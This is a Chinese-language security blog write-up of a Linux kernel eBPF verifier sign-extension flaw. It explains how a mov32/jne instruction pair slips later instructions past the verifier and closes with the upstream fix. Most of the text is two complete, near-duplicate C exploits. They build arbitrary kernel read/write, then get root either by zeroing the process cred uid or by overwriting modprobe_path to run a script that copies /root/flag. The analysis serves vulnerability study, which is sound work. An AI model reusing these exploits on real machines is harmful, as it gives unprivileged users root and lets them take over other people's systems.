漏洞是由于ebpf模块的整数扩展问题导致可以一段指令绕过verifier的检测,进而向内核注入任意的执行代码,导致本地提权。这里就不在介绍ebpf的基础知识了,网上资料很多,可以学习一波。
漏洞分析
先看一下poc
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
4.BPF_EXIT_INSN()
5.……
由于verifier中对jmp和mov的检测与执行时候的语义不同导致我们可以将5指令之后的一系列指令绕过verifier的检测。
verifier检查时
我们具体来看一下。首先检测的是mov32这条指令。由于MOV32_IMM指令属于ALU这个class进入如下的分支。
static int do_check(struct bpf_verifier_env *env)
{
//...
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn);
if (err)
return err;
}
//...
}
接着进入checl_alu_op函数中的如下分支,由于第一条指令我们是立即数因此这里的BPF_SRC(insn->code) == BPF_K
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn)
{
//...
else if (opcode == BPF_MOV) {
if (BPF_SRC(insn->code) == BPF_X) {
//...
} else {
if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
verbose("BPF_MOV uses reserved fields\n");
return -EINVAL;
}
}
/* check dest operand */
//此时寄存器是作为目的操作数,这里进行一些检查,如目的寄存器不能是fp也就是reg10,并且将目的寄存器的type标记为unknown
err = check_reg_arg(regs, insn->dst_reg, DST_OP);
if (err)
return err;
if (BPF_SRC(insn->code) == BPF_X) {
//...
} else {
/* case: R = imm
* remember the value we stored into this reg
*/
//最终会执行到这里
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
}
}
//...
}
最终也就是会执行
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
将目的寄存器的type设置为IMM,将imm成员变量设置为0xffffffff。其中regs
的结构体定义如下,用来表示一个寄存器的状态。可以看到这里的imm也是int类型与insn中的imm类型相同。
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK */
int imm;
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};
那么当执行到第二条指令也就是BPF_JMP_IMM
的时候,就会进入如下的分支
static int do_check(struct bpf_verifier_env *env)
{
//...
else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
//...
else {
//处理条件跳转
err = check_cond_jmp_op(env, insn, &insn_idx);
if (err)
return err;
}
}
//...
}
接着会进入到check_cond_jmp_op函数的如下分支
static int check_cond_jmp_op(struct verifier_env *env,
struct bpf_insn *insn, int *insn_idx)
{
//...
if (BPF_SRC(insn->code) == BPF_X) {
//...
} else {
if (insn->src_reg != BPF_REG_0) {
verbose("BPF_JMP uses reserved fields\n");
return -EINVAL;
}
}
err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
if (err)
return err;
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
regs[insn->dst_reg].type == CONST_IMM &&
regs[insn->dst_reg].imm == insn->imm) {
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else {
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
// 这里直接返回
return 0;
}
}
//...
}
可以看到处理的逻辑,这里判断了regs[insn->dst_reg].imm == insn->imm,由于这两个结构体中的imm类型均相同都为int,因此这里的条件判读恒成立,直接返回。不会在进行后续的push_stack等增加分支以进行遍历检查的操作。
我们看一下exit的检查分支
static int do_check(struct bpf_verifier_env *env)
{
//...
else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
//...
else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}
/* eBPF calling convetion is such that R0 is used
* to return the value from eBPF program.
* Make sure that it's readable at this time
* of bpf_exit, which means that program wrote
* something into it earlier
*/
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, BPF_REG_0)) {
verbose("R0 leaks addr as return value\n");
return -EACCES;
}
process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx);// 如果有其他分支的话遍历检查
if (insn_idx < 0) {
break;
} else {
do_print_state = true;
continue;
}
}
}
//...
}
也就是说当我们执行到第四条指令即jmp exit的时候,经过上述检查,到insn_idx = pop_stack(env, &prev_insn_idx);
会显示没有其他的分支,退出verifirer的死循环,检查结束。也就是说从第5条指令开始的后续指令都不用通过verifier的检查。
__bpf_prog_run执行时
第一条指令执行的时候会进入到ALU_MOV_K分支
#define DST regs[insn->dst_reg]
#define IMM insn->imm
ALU_MOV_K:
DST = (u32) IMM;
CONT;
但是注意到这里的regs与verifier中的regs并不相同,此时的regs是__bpf_prog_run函数中的局部变量
u64 regs[MAX_BPF_REG], tmp;
注意到这里时u64类型的。而在赋值的过程中将imm强制类型转换为了u32类型。
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
这里的IMM也就是insn->imm的类型没变,还是int类型,也就是下面结构体中的__s32类型。
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
因此这里两者类型冲突判断不成立,也就是这里总是会发生跳转。就绕过了exit从第5条指令开始执行。那么注意到的是第5条指令之后都是未经过verifier验证的指令。
因此这里我们可以向kernel中注入任意的指令。
漏洞利用
已经可以向kernel中注入任意的指令,那么我们这里就可以做到任意内存读取了。关键部分的ebpf程序在这
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN(),
BPF_GET_MAP(ctrl_mapfd, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // reg6 = opcode
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8), // reg7 = index/address
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // save map address to reg9
// opcode = 0, read map + index
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
// read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//write opcode = 1
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 2 get reg10 value
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10), // reg1 = reg10
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 3 ab read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4), // opcode =3 ab read reg7 address
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//opcode = 4 ab write
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
代码应该很容易理解,这里就不解释了
这里利用存在两种方式
覆写cred
由于我们可以任意注入指令,因此这里我们可以直接拿到reg10也就是内核栈地址了。
current = stack_address & ~(0x4000 - 1)
current偏移为0的位置指向的就是current_task的地址,也就是当前进程的struct task结构。从这个结构中我们能拿到cred的地址,之后覆写uid就可了。
pwndbg> p/x 0xffff88001dbc3cc0 & ~(0x4000 - 1) // reg10, kernel stack
$4 = 0xffff88001dbc0000
pwndbg> x/2gx 0xffff88001dbc0000// current
0xffff88001dbc0000: 0xffff88001db2d080 0x0000000000000000
pwndbg> p ((struct task_struct *)0xffff88001db2d080)->cred
$5 = (const struct cred *) 0xffff88001db41a80
pwndbg> p *((struct task_struct *)0xffff88001db2d080)->cred
$6 = {
usage = {
counter = 9
},
uid = {
val = 1000
},
gid = {
val = 1000
},
suid = {
val = 1000
}
不同系统的task中cred的偏移不同,因此这里可以用爆破即首先通过prctl设置name,然后直接爆破搜索即可。但是这样是有点麻烦的。因为我们已经知道了task的地址,而cred距离task不远,因此这里我们直接搜索uid/gid也就是可以的。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <poll.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/shm.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include "bpf.h"
char buffer[64];
int sockets[2];
int ctrl_mapfd;
int vuln_mapfd;
size_t ctrlmap_ptr;
size_t vulnmap_ptr;
size_t leakbuf[0x100];
size_t ctrlbuf[0x100];
size_t kbase;
size_t pivot_esp;
size_t modprobe_path;
unsigned long long user_cs, user_ss, user_rflags;
unsigned long user_stack = 0;
struct message
{
long type;
char text[0x800];
} msg;
void msg_alloc(int id, int size)
{
if (msgsnd(id, (void *)&msg, size - 0x30, IPC_NOWAIT) < 0)
{
perror(strerror(errno));
exit(1);
}
}
void heap_spray()
{
int msqid;
msg.type = 1;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) < 0)
{
perror(strerror(errno));
exit(1);
}
for (int i = 0; i < 0x17; ++i)
{
msg_alloc(msqid, 0x200);
}
}
void get_shell()
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
void update_elem_ctrl()
{
int key = 0;
if (bpf_update_elem(ctrl_mapfd, &key, ctrlbuf, 0))
{
printf("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
void get_elem_ctrl()
{
int key = 0;
if (bpf_lookup_elem(ctrl_mapfd, &key, leakbuf))
{
printf("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
}
void debugmsg(void)
{
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0)
{
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
int load_prog()
{
// make bpf_map alloc to new page, in order to leak heap pointer stablly
// heap_spray();
// size == 0x100, useful to set data on bpfarray
ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
if (ctrl_mapfd < 0)
{
puts("failed to create map1");
return -1;
}
printf("create first map finished %p\n", ctrl_mapfd);
// size*count should be the same as ctrl_map
vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
if (vuln_mapfd < 0)
{
puts("failed to create map2");
return -1;
}
printf("create vuln map finished %p\n", vuln_mapfd);
// sizeof(struct bpf_array) == 0x200
// offset of bpf_array.value == 0x90
struct bpf_insn prog[] =
{
// DW == 8bytes
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN(),
BPF_GET_MAP(ctrl_mapfd, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // reg6 = opcode
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8), // reg7 = index/address
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // save map address to reg9
// opcode = 0, read map + index
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
// read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//write opcode = 1
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 2 get reg10 value
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10), // reg1 = reg10
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 3 ab read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4), // opcode =3 ab read reg7 address
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//opcode = 4 ab write
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
printf("call ing prog load fun\n");
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}
void infoleak()
{
update_elem_ctrl();
printf("update elem ctrl finished\n");
debugmsg();
get_elem_ctrl();
printf("get elem ctrl finished\n");
// debugmsg();
}
void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_stack), "=r"(user_rflags)
:
: "memory");
}
int main()
{
save_state();
signal(SIGSEGV, get_shell);
system("/bin/mkdir /tmp");
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
system("chmod +x /tmp/a");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
int progfd = load_prog();
printf("load prog finished \n");
if (progfd < 0)
{
printf("log:\n%s", bpf_log_buf);
if (errno == EACCES)
printf("failed to load prog '%s'\n", strerror(errno));
}
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
{
strerror(errno);
return 0;
}
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
{
strerror(errno);
return 0;
}
ctrlbuf[0] = 0;
ctrlbuf[1] = 0x1c0;
infoleak();
kbase = leakbuf[0] - 0xa13e60;
modprobe_path = kbase + 0xe3cb00;
printf("[+] leak kernel kbase: 0x%lx\n", kbase);
printf("[+] leak modprobe path kbase: 0x%lx\n", modprobe_path);
ctrlbuf[0] = 2;
infoleak();
size_t stack_fp = leakbuf[0];
size_t current_address = stack_fp & ~(0x4000 - 1);
printf("[+] leak stack fp: 0x%lx\n", stack_fp);
ctrlbuf[0] = 3;
ctrlbuf[1] = current_address;
infoleak();
size_t task_struct_address = leakbuf[0];
printf("[+] task struct address: 0x%lx\n", task_struct_address);
size_t cred_ptr_address = task_struct_address + 0x5b0;
ctrlbuf[0] = 3;
ctrlbuf[1] = cred_ptr_address;
infoleak();
size_t cred_address = leakbuf[0];
printf("cred address is 0x%lx\n", cred_address);
size_t uid_address = cred_address + 4; // uid and gid cost 4 bytes, so we can just write 8bytes to overwrite them.
ctrlbuf[0] = 4;
ctrlbuf[1] = uid_address;
ctrlbuf[2] = 0;
getchar();
update_elem_ctrl();
debugmsg();
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
printf("something wrong\n");
}
}
覆写modprobe_path
申请两个map,然后通过第一个map的越界读取第二个map的ops进而泄漏出kernel base。
接着覆写modprobe_path以root权限执行任意的脚本。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <poll.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/shm.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include "bpf.h"
char buffer[64];
int sockets[2];
int ctrl_mapfd;
int vuln_mapfd;
size_t ctrlmap_ptr;
size_t vulnmap_ptr;
size_t leakbuf[0x100];
size_t ctrlbuf[0x100];
size_t kbase;
size_t pivot_esp;
size_t modprobe_path;
unsigned long long user_cs, user_ss, user_rflags;
unsigned long user_stack = 0;
struct message
{
long type;
char text[0x800];
} msg;
void msg_alloc(int id, int size)
{
if (msgsnd(id, (void *)&msg, size - 0x30, IPC_NOWAIT) < 0)
{
perror(strerror(errno));
exit(1);
}
}
void heap_spray()
{
int msqid;
msg.type = 1;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) < 0)
{
perror(strerror(errno));
exit(1);
}
for (int i = 0; i < 0x17; ++i)
{
msg_alloc(msqid, 0x200);
}
}
void get_shell()
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
void update_elem_ctrl()
{
int key = 0;
if (bpf_update_elem(ctrl_mapfd, &key, ctrlbuf, 0))
{
printf("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
void get_elem_ctrl()
{
int key = 0;
if (bpf_lookup_elem(ctrl_mapfd, &key, leakbuf))
{
printf("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
}
void debugmsg(void)
{
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0)
{
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
int load_prog()
{
// make bpf_map alloc to new page, in order to leak heap pointer stablly
// heap_spray();
// size == 0x100, useful to set data on bpfarray
ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
if (ctrl_mapfd < 0)
{
puts("failed to create map1");
return -1;
}
printf("create first map finished %p\n", ctrl_mapfd);
// size*count should be the same as ctrl_map
vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
if (vuln_mapfd < 0)
{
puts("failed to create map2");
return -1;
}
printf("create vuln map finished %p\n", vuln_mapfd);
// sizeof(struct bpf_array) == 0x200
// offset of bpf_array.value == 0x90
struct bpf_insn prog[] =
{
// DW == 8bytes
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN(),
BPF_GET_MAP(ctrl_mapfd, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // reg6 = opcode
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8), // reg7 = index/address
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // save map address to reg9
// opcode = 0, read map + index
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
// read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//write opcode = 1
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 2 get reg10 value
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10), // reg1 = reg10
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 3 ab read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4), // opcode =3 ab read reg7 address
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//opcode = 4 ab write
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
printf("call ing prog load fun\n");
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}
void infoleak()
{
update_elem_ctrl();
printf("update elem ctrl finished\n");
debugmsg();
get_elem_ctrl();
printf("get elem ctrl finished\n");
// debugmsg();
}
void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_stack), "=r"(user_rflags)
:
: "memory");
}
int main()
{
save_state();
signal(SIGSEGV, get_shell);
system("/bin/mkdir /tmp");
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
system("chmod +x /tmp/a");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
int progfd = load_prog();
printf("load prog finished \n");
if (progfd < 0)
{
printf("log:\n%s", bpf_log_buf);
if (errno == EACCES)
printf("failed to load prog '%s'\n", strerror(errno));
}
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
{
strerror(errno);
return 0;
}
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
{
strerror(errno);
return 0;
}
ctrlbuf[0] = 0;
ctrlbuf[1] = 0x1c0;
infoleak();
// kbase = leakbuf[2] - 0xa12100;
kbase = leakbuf[0] - 0xa13e60;
pivot_esp = kbase + 0x6ec938;
modprobe_path = kbase + 0xe3cb00;
printf("[+] leak kernel kbase: 0x%lx\n", kbase);
printf("[+] leak modprobe path kbase: 0x%lx\n", modprobe_path);
// ctrlbuf[0] = 0x570 * 2;
ctrlbuf[0] = 4;
ctrlbuf[1] = modprobe_path;
ctrlbuf[2] = 0x612f706d742f;
update_elem_ctrl();
debugmsg();
system("/tmp/ll");
}
patch
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 625e358ca765e..c086010ae51ed 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -2408,7 +2408,13 @@ static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = SCALAR_VALUE;
- __mark_reg_known(regs + insn->dst_reg, insn->imm);
+ if (BPF_CLASS(insn->code) == BPF_ALU64) {
+ __mark_reg_known(regs + insn->dst_reg,
+ insn->imm);
+ } else {
+ __mark_reg_known(regs + insn->dst_reg,
+ (u32)insn->imm);
+ }
}
} else if (opcode > BPF_END) {
__mark_reg_known函数的参数为u64,那么32位的有符号数进入到__mark_reg_known函数之前首先被转换为了u32也就是无符号函数,因此这里就不存在符号扩展的问题了。
__mark_reg_known函数的commit部分没有找到,
static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
/* Clear id, off, and union(map_ptr, range) */
memset(((u8 *)reg) + sizeof(reg->type), 0,
offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
reg->var_off = tnum_const(imm);
reg->smin_value = (s64)imm;
reg->smax_value = (s64)imm;
reg->umin_value = imm;
reg->umax_value = imm;
}
发表评论
您还未登录,请先登录。
登录